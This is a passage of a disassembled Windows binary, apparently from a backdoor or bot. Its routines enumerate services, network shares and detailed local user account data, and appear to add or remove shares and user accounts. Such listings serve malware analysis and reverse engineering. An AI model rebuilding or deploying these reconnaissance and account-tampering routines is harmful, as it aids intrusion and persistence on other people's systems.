		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
		test	eax, eax
		jnz	short loc_418F1A
		nop
		call	near ptr 26A0CA7h
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8CC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_439518[eax*4]
		push	offset unk_439BC4
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB63C
		push	off_43951C[eax*4]
		push	offset dword_439BA8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB63C
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439B84
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB83C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB83C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5DC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5DC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB5DC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8C8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8A0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB918
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C10
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8BC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA64


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_43951C[eax*4]
		push	offset unk_439CC8
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB840
		push	off_439518[eax*4]
		push	offset unk_439C98
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB840
		lea	eax, [eax+eax*2]
		push	off_439518[eax*4]
		push	offset unk_439C70
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8AC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB89C
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA2C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
